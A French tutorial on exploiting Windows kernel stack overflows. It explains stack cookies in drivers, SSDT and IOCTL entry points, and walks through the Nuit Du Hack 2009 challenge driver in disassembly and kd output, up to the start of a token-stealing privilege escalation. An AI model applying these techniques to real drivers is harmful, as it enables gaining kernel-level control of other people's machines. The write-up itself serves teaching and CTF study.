Rédacteur : Heurs
Date de création : 06/08/2009
Section : Sécurité > Failles applicatives
Dans le domaine des buffer overflow, les kernel overflow sont parmis les plus dangereux mais aussi les plus difficiles à exploiter. Malheureusement ce sujet est rarement abordé, il en découle il vision extrèmement complexe pour quelque chose qui au final n'est pas sorcier !
Bon, tout d'abord un stack overflow est un stack overflow, j'entends par là que le principe est le même que l'on soit en user land qu'en kernel land. Des datas posées dans la pile vont écraser la sauvegarde de EIP, et quand on arriver à notre "ret" on dépilera la sauvegarde corompue en question. Le problème en kernel c'est que quand ca crash on se tappe un beau BSOD ! Donc on a pas le droit à l'erreur... En fit si, mais faut rebooter quoi (ca arrive même en audit de faire rebooter un serveur à cause d'un exploit mal dosé).
Tout l'intéret des overflow kernel est que l'on passe en ring0. Pour faire simple on a tous les droits partout :-)
Donc on se tappe toujours des vulns par copie de chaines de caractères, des strctures, etc. Nos méthodes n'ont donc rien de neuf, je vous invites à vous reporter à d'autres articles si vous n'avez pas les bases sur les buffer overflow. Alors c'est parti, on commence avec les sécu lors de la compilation.
On compile un driver (.sys) avec DDK, DDK regarde ce que fait nos fonctions, il nous pose des vérifications de l'intégrité de la stack si il considère que la fonction peut être à risque. Dans le code suivant on voit qu'on place un canary (BugCheckParameter2) dans ebp-4. C'est à dire juste au dessus de l'Ebp empilé. Donc si on a un stack overflow ce DWORD se retrouvera écrasé avant EIP.
.text:0001057F mov ecx, [ebp+0Ch]
.text:00010582 mov eax, BugCheckParameter2
.text:00010587 push ebx
.text:00010588 push esi
.text:00010589 push edi
.text:0001058A mov edi, [ecx+0Ch]
.text:0001058D lea esi, [ebp-204h]
.text:00010593 mov [ebp-4], eax
.text:00010596 mov [ebp-208h], ecx
Et à la fin de notre fonction on a le code suivant :
.text:00010637 mov ecx, [ebp-4]
.text:0001063A pop edi
.text:0001063B pop esi
.text:0001063C xor eax, eax
.text:0001063E pop ebx
.text:0001063F call sub_10751
.text:00010644 leave
.text:00010645 retn 8
Un "Call" tout droit sorti de nulpart ! Bon ben on va regarder ce qu'il fait notre petit call mistérieux :
.text:00010751 sub_10751 proc near ; CODE XREF: .text:0001063F
.text:00010751
.text:00010751 ; FUNCTION CHUNK AT .text:00010726 SIZE 00000025 BYTES
.text:00010751
.text:00010751 cmp ecx, BugCheckParameter2
.text:00010757 jnz short loc_10762
.text:00010759 test ecx, 0FFFF0000h
.text:0001075F jnz short loc_10762
.text:00010761 retn
.text:00010762 ; ---------------------------------------------------------------------------
.text:00010762
.text:00010762 loc_10762: ; CODE XREF: sub_10751
.text:00010762 ; sub_10751
.text:00010762 jmp loc_10726
.text:00010762 sub_10751 endp
On voit que si notre [ebp-4] (soit notre canary) est différent du canary original on jump sur loc_10726.
.text:00010726 loc_10726: ; CODE XREF: sub_10751:loc_10762
.text:00010726 mov edi, edi
.text:00010728 push ebp
.text:00010729 mov ebp, esp
.text:0001072B push ecx
.text:0001072C mov [ebp-4], ecx
.text:0001072F push 0 ; BugCheckParameter4
.text:00010731 push BugCheckParameter3 ; BugCheckParameter3
.text:00010737 push BugCheckParameter2 ; BugCheckParameter2
.text:0001073D push dword ptr [ebp-4] ; BugCheckParameter1
.text:00010740 push 0F7h ; BugCheckCode
.text:00010745 call ds:KeBugCheckEx
.text:00010745 ; END OF FUNCTION CHUNK FOR sub_10751
Et BHIM ! BSOD dans notre face. Ca revient au flag GS en user land mais cette fois c'est tout l'OS qui crash. Si vous avec déjà exploité ce type de vuln vous savez que d'habitude on génère une excepetion, cette exception va aller chercher le SEH handle et là on poutre le bordel. Pas de chance pour nous si on déclance une exception à partir du kernel c'estl'OS qui nous fait un BSOD :-(
Fort heureusement pour nous il DDK ne pose pas toujours des security_check, ils en pose si il considère la fonction comme dangereuse. C'est à dire si il y a un "char toto[32]" il protègera la fonction, en prsence de fonction type strcpy() il le fera aussi. Mais avec un memcpy() (par exemple) il ne mettra rien car nous positionons une limite à la copie. Ainsi si nous copions des structure de façons dynamique nous pourrons peut êre déborder quand même ! Par exemple en modifiant quelques peu notre programme nous obtenons l'épilogue suivant :
.text:00010666 pop edi
.text:00010667 pop esi
.text:00010668 xor eax, eax
.text:0001066A pop ebx
.text:0001066B leave
.text:0001066C retn 8
We win ! Le méchant call su secutity_check a disparu :-D On va donc pouvoir faire correctement déborder notre tampon pour que le ret dépile notre Fake Eip et execute notre Sh3lLc0D3 K3rN3l (Shellcode Kernel) !
Pour lancer des attaques en kernel il nous faut un moyen de passer un mode kernel. Pour cela il existe deux instructions, int xx et sysenter. int xx est une interruption. Cela veut dire que quand on fait un int 2E on passe la main au noyau (on a donc plus le contrôle). Il peut arriver qu'une appli utilise des interruptions non conventionnelles, nous pourrons donc fuzzer cette entrées avec pour objectif trouver un bug ! Bon je l'avoue ce n'est pas la vuln kernel la plus courrante, on ne s'étendra donc pas dessus, mais c'est toujours bien de savoir que c'est possible.
Voilà un point clé ! Nos applis passent constament pas le kernel, un simple printf("toto") devra passer par le kernel à un moment où à un autre s'il veut afficher le message à l'écran. Il utilisera les fonctions que windows met à sa disposition, c'est à dire la liste de fonctions contenue dans la SSDT (table de focntions en noyau). la très grande majorité des appels se font par la fontion KiFastSystemCall :
77A39A90 > 8BD4 MOV EDX,ESP
77A39A92 0F34 SYSENTER
On retrouve notre SYSENTER évoqué précédement. Une fois le sysenter executé le KiFastSystemCallEntry prendra la valeur contenue dans Eax et appelera la fonction de la SSDT correspondante (pour faire simple), pour plus de détailles le blog de trance vous d'une grande aide ;-) Dans notre code Eax n'est pas positionné, ce qui veut dire que ce sont d'autres fonctions qui affecterons la valeur adéquate (normal puisque FastSystemCall sert à donner la main au noyau et pas à appeler une fonctions particulière)
Le placement de Eax se fera par une des fonctions Zw******. Par exemple ZwLoadDriver fera :
77A38698 > B8 A5000000 MOV EAX,0A5
77A3869D BA 0003FE7F MOV EDX,7FFE0300
77A386A2 FF12 CALL DWORD PTR DS:[EDX]
77A386A4 C2 0400 RETN 4
77A386A7 90 NOP
L'index de la fonction LoadDriver sera donc 0xA5. Pour information ce qui est pointé par 7FFE0300 est :
[code]
7FFE0300 90 9A A3 77
[/code]
Soit l'adresse 77A39A90, on retrouve bien notre KiFastSystemCall.
Les focntions de windows sont très contrôlées, malgré quelques fuites touvées la robustesse de ces fonctions n'est plus à faire. Donc inutile de perdre du temps à les fuzzer (bien qui si vous trouvez une vuln dessus vous gagnerez pas mal de sousous).
Ce qu'il faut savoir c'est qu'un logiciel (type anti-virus ou logiciel de backup) peut ajouter des entrées dans la SSDT. Ces entrées pourront alors être appelées depuis le user land. Le niveau de sécurité de ces nouvelles entrées ne dépend que de l'éditeur logiciel, ainsi on trouve régulièrement des entrées mal vérifiées. Quelques fuzzings sur ces fonctions peuvent se réveller d'une grande utilité !
Pour communiquer avec un driver en particulié chargé en kernel on peut utiliser les IOCTL, Input Out Control code. Ce sont des messages transmis au kernel par la fonction DeviceIoControl :
BOOL WINAPI DeviceIoControl(
__in HANDLE hDevice,
__in DWORD dwIoControlCode,
__in_opt LPVOID lpInBuffer,
__in DWORD nInBufferSize,
__out_opt LPVOID lpOutBuffer,
__in DWORD nOutBufferSize,
__out_opt LPDWORD lpBytesReturned,
__inout_opt LPOVERLAPPED lpOverlapped
);
Tous les camps sont importants mais IoControlCode l'est encore plus que les autres. C'es ce DWORD qui sélectionnera quel traitement auront nos données. Il peut se représenter de la façon suivante :
[code]
[Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
31 30<---->16 15<--------->14 13 12<-------->2 1<-------->0
[/code]
On ne va pas s'attarder sur les différent champs (bien qu'ils soient tous très interessents) mais regarderons principalement les deux méthodes ples plus dangeureuses : METHOD_BUFFERED et METHOD_NEITHER.
Ces méthodes font des copies de datas du user land vers le kernel land, pas de problème à ce niveau là. Tout est dans le traitement des datas, si un memcpy se fait d'un buffer d'entrée ver un buffer de la stack kernel on peut avoir le risque d'un débordement de tampon. Les débordements interviennent soit dans des jeux de pointages / copie de strcture, soit directement avec InBufferSize mal dimentionné. Si le GS est activé on aura au pire un BSOD ! C'est pas top, mais déjà pas mal.
Dans notre cas on va appeler le driver avec une InBufferSize trop grande, celui-ci fera un memcpy en prennant en argument notre taille InBufferSize et une adresse de sa stack. On va donc avoir un joli Buffer Overflow, désolé pour le réalisme mais le but est de montrer comment exploiter et non pas comment fuzzer les drivers (qui sait, peut être dans un prochain article).
On charge donc le driver en kernel et on lance notre prog qui fait son appel surdimenssionné (vous trouverez les codes pour utiliser les IOCTL sur le blog d'Overcl0k). En regardant le système avec kd on obtient ca :
Access violation - code c0000005 (!!! second chance !!!)
61616161 ?? ???
OOOOooooo, la belle bleu ! Le BSOD a été produit à cause d'une violation d'accès à l'adresse 0x61616161. Cette adresse équivaut à la chaine de caractères 'aaaa', 0x61 valant 'a'. J'avais mis une longue chaine de 'a' en entrée, nous sommes donc très certainement en présence d'un buffer overflow. En regardant d'un peu plus pret nous pouvons voire que le regitre Eip a été écrasé :
kd> r
eax=00000000 ebx=ff9fcdf8 ecx=00000000 edx=ff9f76d8 esi=ff9f7748 edi=ff9f76d8
eip=61616161 esp=f8b7dc24 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
61616161 ?? ???
Nous avons donc Ebp qui est écrasé (probablement lors d'un Pop Ebp ou d'un Leave) et Eip (très probablement lors d'un Ret). C'est le signe typique d'un stack overflow. Petite précision, le driver que nous attaquons était une épreuve de la Nuit Du Hack 2009 et permettait de s'élever les privilèges sur les serveurs windows. Rentrons maintenant dans le vif du sujet retrouvons où le buffer overflow se situe dans notre driver :
INIT:00010885 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
INIT:00010885
INIT:00010885 ; Attributes: bp-based frame
INIT:00010885
INIT:00010885 public GsDriverEntry
INIT:00010885 GsDriverEntry proc near
INIT:00010885 mov edi, edi
INIT:00010887 push ebp
INIT:00010888 mov ebp, esp
INIT:0001088A mov eax, __security_cookie
INIT:0001088F test eax, eax
INIT:00010891 mov ecx, 0BB40h
INIT:00010896 jz short loc_1089C
INIT:00010898 cmp eax, ecx
INIT:0001089A jnz short loc_108BF
INIT:0001089C
INIT:0001089C loc_1089C: ; CODE XREF: GsDriverEntry+11
INIT:0001089C mov edx, ds:KeTickCount
INIT:000108A2 mov eax, offset __security_cookie
INIT:000108A7 shr eax, 8
INIT:000108AA xor eax, [edx]
INIT:000108AC and eax, 0FFFFh
INIT:000108B1 mov __security_cookie, eax
INIT:000108B6 jnz short loc_108BF
INIT:000108B8 mov eax, ecx
INIT:000108BA mov __security_cookie, eax
INIT:000108BF
INIT:000108BF loc_108BF: ; CODE XREF: GsDriverEntry+15
INIT:000108BF ; GsDriverEntry+31
INIT:000108BF not eax
INIT:000108C1 mov __security_cookie_complement, eax
INIT:000108C6 pop ebp
INIT:000108C7 jmp DriverEntry
INIT:000108C7 GsDriverEntry endp
A la fin de notre fonction nous sautons donc sur DriverEntry, fonction appelée lors du chargement d'un driver. Nous allons donc continuer notre analyse sur DriverEntry :
.text:00010684 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00010684
.text:00010684 ; Attributes: bp-based frame
.text:00010684
.text:00010684 ; int __fastcall DriverEntry(int,int,PDRIVER_OBJECT DriverObject,int)
.text:00010684 DriverEntry proc near ; CODE XREF: GsDriverEntry+42
.text:00010684
.text:00010684 SymbolicLinkName= UNICODE_STRING ptr -14h
.text:00010684 DeviceName = UNICODE_STRING ptr -0Ch
.text:00010684 DeviceObject = dword ptr -4
.text:00010684 DriverObject = dword ptr 8
.text:00010684
.text:00010684 mov edi, edi
.text:00010686 push ebp
.text:00010687 mov ebp, esp
.text:00010689 sub esp, 14h ; SourceString
.text:0001068C push esi ; DestinationString
.text:0001068D push edi
.text:0001068E mov edi, ds:__imp__RtlInitUnicodeString@8 ; RtlInitUnicodeString(x,x)
.text:00010694 push offset aDeviceMasterha ; "\\Device\\MASTERHACK"
.text:00010699 lea eax, [ebp+DeviceName]
.text:0001069C xor esi, esi
.text:0001069E push eax ; DestinationString
.text:0001069F mov [ebp+DeviceObject], esi
.text:000106A2 call edi ; RtlInitUnicodeString(x,x) ; RtlInitUnicodeString(x,x)
.text:000106A4 lea eax, [ebp+DeviceObject]
.text:000106A7 push eax ; DeviceObject
.text:000106A8 push esi ; Exclusive
.text:000106A9 push 22h ; DeviceCharacteristics
.text:000106AB push 22h ; DeviceType
.text:000106AD lea eax, [ebp+DeviceName]
.text:000106B0 push eax ; DeviceName
.text:000106B1 push esi ; DeviceExtensionSize
.text:000106B2 mov esi, [ebp+DriverObject]
.text:000106B5 push esi ; DriverObject
.text:000106B6 call ds:__imp__IoCreateDevice@28 ; IoCreateDevice(x,x,x,x,x,x,x)
.text:000106BC push offset aDosdevicesMa_0 ; "\\DosDevices\\MasterHack"
.text:000106C1 lea eax, [ebp+SymbolicLinkName]
.text:000106C4 push eax ; DestinationString
.text:000106C5 mov dword ptr [esi+34h], offset unload
.text:000106CC mov dword ptr [esi+38h], offset Fonction_IRP_MJ_CREATE
.text:000106D3 mov dword ptr [esi+40h], offset Fonction_IRP_MJ_CREATE
.text:000106DA mov dword ptr [esi+70h], offset Fonction_IRP_DEVICE_CONTROL
.text:000106E1 call edi ; RtlInitUnicodeString(x,x) ; RtlInitUnicodeString(x,x)
.text:000106E3 lea eax, [ebp+DeviceName]
.text:000106E6 push eax ; DeviceName
.text:000106E7 lea eax, [ebp+SymbolicLinkName]
.text:000106EA push eax ; SymbolicLinkName
.text:000106EB call ds:__imp__IoCreateSymbolicLink@8 ; IoCreateSymbolicLink(x,x)
.text:000106F1 pop edi
.text:000106F2 xor eax, eax
.text:000106F4 pop esi
.text:000106F5 leave
.text:000106F6 retn 8
.text:000106F6 DriverEntry endp
.text:000106F6
Sans rentrer dans le détail nous voyons que le driver créer un device "\\DosDevices\\MasterHack", device que l'on utilise pour communiquer avec. Nous voyons aussi qu'on redirige plusieurs IRP, cela nous permettra de comuniquer avec via les IOCTL. L'IRP le plus important ici est le IRP_DEVICE_CONTROL, nous allons donc regarder ce que se passe lorsque nous l'appelons :
.text:0001055C ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:0001055C
.text:0001055C ; Attributes: bp-based frame
.text:0001055C
.text:0001055C Fonction_IRP_DEVICE_CONTROL proc near ; DATA XREF: DriverEntry+56
.text:0001055C
.text:0001055C var_4 = dword ptr -4
.text:0001055C arg_4 = dword ptr 0Ch
.text:0001055C
.text:0001055C mov edi, edi
.text:0001055E push ebp
.text:0001055F mov ebp, esp
.text:00010561 push ecx
.text:00010562 push ebx
.text:00010563 push esi
.text:00010564 push edi
.text:00010565 mov edi, [ebp+arg_4]
.text:00010568 mov esi, [edi+60h]
.text:0001056B push dword ptr [esi+8]
.text:0001056E mov ebx, [edi+0Ch]
.text:00010571 push ebx
.text:00010572 call TestMe
.text:00010577 cmp dword ptr [esi+0Ch], 9C40E000h
.text:0001057E mov [ebp+var_4], eax
.text:00010581 mov edx, offset aItSNotMe ; "It's not me :-("
.text:00010586 jnz short loc_105E8
.text:00010588 mov ecx, [esi+8]
.text:0001058B mov esi, ecx
.text:0001058D shr ecx, 2
.text:00010590 cmp eax, 1
.text:00010593 mov edi, ebx
.text:00010595 jnz short loc_105BA
.text:00010597 xor eax, eax
.text:00010599 rep stosd
.text:0001059B mov ecx, esi
.text:0001059D and ecx, 3
.text:000105A0 rep stosb
.text:000105A2 mov eax, offset aItSMe ; "It's me !"
.text:000105A7 lea esi, [eax+1]
.text:000105AA
.text:000105AA loc_105AA: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+53
.text:000105AA mov cl, [eax]
.text:000105AC inc eax
.text:000105AD test cl, cl
.text:000105AF jnz short loc_105AA
.text:000105B1 sub eax, esi
.text:000105B3 mov esi, offset aItSMe ; "It's me !"
.text:000105B8 jmp short loc_105D5
.text:000105BA ; ---------------------------------------------------------------------------
.text:000105BA
.text:000105BA loc_105BA: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+39
.text:000105BA xor eax, eax
.text:000105BC rep stosd
.text:000105BE mov ecx, esi
.text:000105C0 and ecx, 3
.text:000105C3 rep stosb
.text:000105C5 mov eax, edx
.text:000105C7 lea esi, [eax+1]
.text:000105CA
.text:000105CA loc_105CA: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+73
.text:000105CA mov cl, [eax]
.text:000105CC inc eax
.text:000105CD test cl, cl
.text:000105CF jnz short loc_105CA
.text:000105D1 sub eax, esi
.text:000105D3 mov esi, edx
.text:000105D5
.text:000105D5 loc_105D5: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+5C
.text:000105D5 mov ecx, eax
.text:000105D7 shr ecx, 2
.text:000105DA mov edi, ebx
.text:000105DC rep movsd
.text:000105DE mov ecx, eax
.text:000105E0 and ecx, 3
.text:000105E3 rep movsb
.text:000105E5 mov edi, [ebp+arg_4]
.text:000105E8
.text:000105E8 loc_105E8: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+2A
.text:000105E8 and dword ptr [edi+18h], 0
.text:000105EC cmp [ebp+var_4], 1
.text:000105F0 jnz short loc_10603
.text:000105F2 mov eax, offset aItSMe ; "It's me !"
.text:000105F7 lea edx, [eax+1]
.text:000105FA
.text:000105FA loc_105FA: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+A3
.text:000105FA mov cl, [eax]
.text:000105FC inc eax
.text:000105FD test cl, cl
.text:000105FF jnz short loc_105FA
.text:00010601 jmp short loc_1060F
.text:00010603 ; ---------------------------------------------------------------------------
.text:00010603
.text:00010603 loc_10603: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+94
.text:00010603 mov eax, edx
.text:00010605 lea edx, [eax+1]
.text:00010608
.text:00010608 loc_10608: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+B1
.text:00010608 mov cl, [eax]
.text:0001060A inc eax
.text:0001060B test cl, cl
.text:0001060D jnz short loc_10608
.text:0001060F
.text:0001060F loc_1060F: ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+A5
.text:0001060F sub eax, edx
.text:00010611 xor dl, dl
.text:00010613 mov ecx, edi
.text:00010615 mov [edi+1Ch], eax
.text:00010618 call ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x)
.text:0001061E pop edi
.text:0001061F pop esi
.text:00010620 xor eax, eax
.text:00010622 pop ebx
.text:00010623 leave
.text:00010624 retn 8
.text:00010624 Fonction_IRP_DEVICE_CONTROL endp
Prenons notre code dans l'ordre, nous voyons à la ligne 00010565 l'instrction mov edi, [ebp+arg_4] qui récupère le premier argument. Puis on se déplace dans des structures jusqu'à arriver à l'instruction mov ebx, [edi+0Ch], puis push ebx et enfin call TestMe. En claire on a récupéré une valeur (pourquoi pas un pointeur), l'avons empilé et enfin avons appelé TestMe aveccet argument. Regardons maintenant ce que TestMe va faire de cette valeur :
.text:000104F4 ; Attributes: bp-based frame
.text:000104F4
.text:000104F4 TestMe proc near ; CODE XREF: Fonction_IRP_DEVICE_CONTROL+16
.text:000104F4
.text:000104F4 var_10 = dword ptr -10h
.text:000104F4 var_C = dword ptr -0Ch
.text:000104F4 var_8 = dword ptr -8
.text:000104F4 arg_0 = dword ptr 8
.text:000104F4 arg_4 = dword ptr 0Ch
.text:000104F4
.text:000104F4 mov edi, edi
.text:000104F6 push ebp
.text:000104F7 mov ebp, esp
.text:000104F9 sub esp, 10h
.text:000104FC mov ecx, [ebp+arg_4]
.text:000104FF push esi
.text:00010500 mov esi, [ebp+arg_0]
.text:00010503 mov eax, ecx
.text:00010505 push edi
.text:00010506 shr ecx, 2
.text:00010509 lea edi, [ebp+var_10]
.text:0001050C rep movsd
.text:0001050E mov ecx, eax
.text:00010510 and ecx, 3
.text:00010513 rep movsb
.text:00010515 call ds:__imp__IoGetCurrentProcess@0 ; IoGetCurrentProcess()
.text:0001051B cmp [ebp+var_8], 62626262h
.text:00010522 pop edi
.text:00010523 pop esi
.text:00010524 jnz short loc_10536
.text:00010526 mov ecx, [ebp+var_C]
.text:00010529 cmp ecx, [eax+210h]
.text:0001052F jnz short loc_10536
.text:00010531 xor eax, eax
.text:00010533 inc eax
.text:00010534 jmp short locret_10538
.text:00010536 ; ---------------------------------------------------------------------------
.text:00010536
.text:00010536 loc_10536: ; CODE XREF: TestMe+30
.text:00010536 ; TestMe+3B
.text:00010536 xor eax, eax
.text:00010538
.text:00010538 locret_10538: ; CODE XREF: TestMe+40
.text:00010538 leave
.text:00010539 retn 8
.text:00010539 TestMe endp
On se croirait dans un article d'Ivanlef0u avec tous ces codes dans tous les sens lol (je dis bien on se croirait, j'aimerai bien pouvoir écrire les mêmes articles que lui !). On voit ligne 0001050C et ligne 00010513 que des intructions "rep" sont effectuées. Celles-ci copient les datas d'une source vers une destination. Si ces copies sont effectuées dans la stack et qu'il n'y a pas de taille fixe de prédéfinie nous pouvons avoir un beau stack overflow. J'attire votre attention sur le fait qu'il n'y ait pas de security_check dans cette fonction, en cas de débordement de tampon le programme ne sera donc pas à même de crasher l'OS avant que le Ret soit exécuté.
Prennons en considération que cette fonction est la vulnérable, si nous posons un breakpoint à 00010539 nous devrons donc avoir notre 0x61616161 pointé par Esp. Testons donc cela :
kd> lm
start end module name
7c910000 7c9c7000 ntdll (pdb symbols) C:\Symbols\ntdll.pdb\36515FB5D04345E491F672FA2E2878C02\ntdll.pdb
804d7000 806cda80 nt (pdb symbols) C:\Symbols\ntkrnlpa.pdb\BD8F451F3E754ED8A34B50560CEB08E31\ntkrnlpa.pdb
806ce000 806ee380 hal (deferred)
bf800000 bf9c0400 win32k (deferred)
bf9c1000 bf9d2580 dxg (deferred)
bf9d3000 bf9f9a00 vmx_fb (deferred)
[...]
fb05f000 fb060080 RDPCDD (deferred)
fb065000 fb066100 dump_WMILIB (deferred)
fb0bb000 fb0bc900 splitter (deferred)
fb0dd000 fb0deb00 ParVdm (deferred)
fb0df000 fb0e0e00 vmmemctl (deferred)
fb0f3000 fb0f3a80 WARRIOR (deferred)
fb129000 fb129b80 drmkaud (deferred)
fb171000 fb171d00 dxgthk (deferred)
fb21f000 fb21fc00 audstub (deferred)
fb24d000 fb24db80 Null (deferred)
Unloaded modules:
fad1b000 fad26000 imapi.sys
facfb000 fad06000 amdk7.sys
faea3000 faea8000 Cdaudio.SYS
fafbf000 fafc2000 Sfloppy.SYS
kd> uf fb0f3000+000004F4
WARRIOR!TestMe [c:\localroot\kexemple1.c @ 135]:
135 fb0f34f4 8bff mov edi,edi
135 fb0f34f6 55 push ebp
135 fb0f34f7 8bec mov ebp,esp
135 fb0f34f9 83ec10 sub esp,10h
139 fb0f34fc 8b4d0c mov ecx,dword ptr [ebp+0Ch]
139 fb0f34ff 56 push esi
139 fb0f3500 8b7508 mov esi,dword ptr [ebp+8]
139 fb0f3503 8bc1 mov eax,ecx
139 fb0f3505 57 push edi
139 fb0f3506 c1e902 shr ecx,2
139 fb0f3509 8d7df0 lea edi,[ebp-10h]
139 fb0f350c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
139 fb0f350e 8bc8 mov ecx,eax
139 fb0f3510 83e103 and ecx,3
139 fb0f3513 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
141 fb0f3515 ff150c370ffb call dword ptr [WARRIOR!_imp__IoGetCurrentProcess (fb0f370c)]
143 fb0f351b 817df862626262 cmp dword ptr [ebp-8],62626262h
143 fb0f3522 5f pop edi
143 fb0f3523 5e pop esi
143 fb0f3524 7510 jne WARRIOR!TestMe+0x42 (fb0f3536)
WARRIOR!TestMe+0x32 [c:\localroot\kexemple1.c @ 143]:
143 fb0f3526 8b4df4 mov ecx,dword ptr [ebp-0Ch]
143 fb0f3529 3b8810020000 cmp ecx,dword ptr [eax+210h]
143 fb0f352f 7505 jne WARRIOR!TestMe+0x42 (fb0f3536)
WARRIOR!TestMe+0x3d [c:\localroot\kexemple1.c @ 143]:
143 fb0f3531 33c0 xor eax,eax
143 fb0f3533 40 inc eax
143 fb0f3534 eb02 jmp WARRIOR!TestMe+0x44 (fb0f3538)
WARRIOR!TestMe+0x42 [c:\localroot\kexemple1.c @ 144]:
144 fb0f3536 33c0 xor eax,eax
WARRIOR!TestMe+0x44 [c:\localroot\kexemple1.c @ 145]:
145 fb0f3538 c9 leave
145 fb0f3539 c20800 ret 8
kd> bp fb0f3539
kd> g
Breakpoint 0 hit
WARRIOR!TestMe+0x45:
fb0f3539 c20800 ret 8
kd> r
eax=00000000 ebx=ffa49450 ecx=00000000 edx=ffb559e0 esi=ffb55a50 edi=ffb559e0
eip=fb0f3539 esp=f892ec18 ebp=61616161 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
WARRIOR!TestMe+0x45:
fb0f3539 c20800 ret 8
kd> dd esp
f892ec18 61616161 ffa49450 00000018 ffa4b230
f892ec28 812e2330 ffb559e0 812e2218 f892ec58
f892ec38 804eddf9 812e2218 ffb559e0 806d02d0
f892ec48 80573b42 ffb55a50 ffa87028 ffb559e0
f892ec58 f892ed00 805749d1 812e2218 ffb559e0
f892ec68 ffa87028 0022fb00 00000001 00000501
f892ec78 00000002 f892ed64 0022fa88 8056d312
f892ec88 00000000 0012019f e1bd1c90 e1bd1c90
On peut dire que tout se passe comme prévu et que le ret va bien dépiler notre 0x61616161, nous avons donc retrouvé notre fonction vulnérable et allons maintenant pouvoir passer à la phase d'exploitation !
Je tiens à préciser que cette phase n'était pas indispansable pour une exploitation du buffer overflow mais necessaire à une bonne compréhension.
Nous pouvons maintenant modifier notre Eip à notre guise (je vous laisses calculer la taille à inserer avant d'écraser Eip, les calculs sont les mêmes qu'un user land donc je les prends pour aquis). On va donc pouvoir faire executer du code à l'adresse que l'on désire. deux choses sont importantes :
Nous nous trouvons dans le même context que le thread appelant, c'est à dire le notre. Nous pouvons donc faire un Ret dans notre code situé en user land. Ca peut être utile pour faire executer un shellcode.
Nous sommes en Kernel ! Si on fait la moindre erreur on va se tapper un BSOD. L'objectif est donc de repartir le plus rapidement en userland possible, mais en s'étant octroyé des droits supplémentaires tout de même ;-)
Les droits affectés à un processus se font par le Token. Le Token est un pointeur vers une structure de doits, ces droits définissent entre autre l'utilisateur par lequel le process est lancé. Si nous copions le Token d'un processus Administrateur sur l'un de nos processus nous obtiendrons alors les droits Administrateur pour le process courrant. Retrouvons donc cette structure à partir du noyau. Il faut savoir que le registre FS pointe sur la strcture KPCR :
kd> r fs
fs=00000030
kd> dg 30
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 ffdff000 00001fff Data RW 0 Bg Pg P Nl 00000c92
kd> dt _kpcr ffdff000
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x01c SelfPcr : 0xffdff000 _KPCR
+0x020 Prcb : 0xffdff120 _KPRCB
+0x024 Irql : 0 ''
+0x028 IRR : 0
+0x02c IrrActive : 0
+0x030 IDR : 0xffffffff
+0x034 KdVersionBlock : 0x80544cb8
+0x038 IDT : 0x8003f400 _KIDTENTRY
+0x03c GDT : 0x8003f000 _KGDTENTRY
+0x040 TSS : 0x80042000 _KTSS
+0x044 MajorVersion : 1
+0x046 MinorVersion : 1
+0x048 SetMember : 1
+0x04c StallScaleFactor : 0x727
+0x050 DebugActive : 0 ''
+0x051 Number : 0 ''
+0x052 Spare0 : 0 ''
+0x053 SecondLevelCacheAssociativity : 0 ''
+0x054 VdmAlert : 0
+0x058 KernelReserved : [14] 0
+0x090 SecondLevelCacheSize : 0
+0x094 HalReserved : [16] 0
+0x0d4 InterruptMode : 0
+0x0d8 Spare1 : 0 ''
+0x0dc KernelReserved2 : [17] 0
+0x120 PrcbData : _KPRCB
Ici rien d'intéressent pour notre élévation de privilèges, continuons donc avec la structure _KPRCB à l'offset 0x120 :
kd> dt _kprcb ffdff120
ntdll!_KPRCB
+0x000 MinorVersion : 1
+0x002 MajorVersion : 1
+0x004 CurrentThread : 0x81229278 _KTHREAD
+0x008 NextThread : (null)
+0x00c IdleThread : 0x80551920 _KTHREAD
+0x010 Number : 0 ''
+0x011 Reserved : 0 ''
+0x012 BuildType : 2
+0x014 SetMember : 1
+0x018 CpuType : 6 ''
+0x019 CpuID : 1 ''
+0x01a CpuStep : 0xf0d
+0x01c ProcessorState : _KPROCESSOR_STATE
+0x33c KernelReserved : [16] 0
+0x37c HalReserved : [16] 0
+0x3bc PrcbPad0 : [92] ""
+0x418 LockQueue : [16] _KSPIN_LOCK_QUEUE
+0x498 PrcbPad1 : [8] ""
+0x4a0 NpxThread : 0xffa518b0 _KTHREAD
+0x4a4 InterruptCount : 0x13380
+0x4a8 KernelTime : 0x1016f
+0x4ac UserTime : 0x217
+0x4b0 DpcTime : 0x34
+0x4b4 DebugDpcTime : 0
+0x4b8 InterruptTime : 0x64
+0x4bc AdjustDpcThreshold : 0x14
+0x4c0 PageColor : 0
+0x4c4 SkipTick : 0
+0x4c8 MultiThreadSetBusy : 0 ''
+0x4c9 Spare2 : [3] ""
+0x4cc ParentNode : 0x80551fe0 _KNODE
+0x4d0 MultiThreadProcessorSet : 1
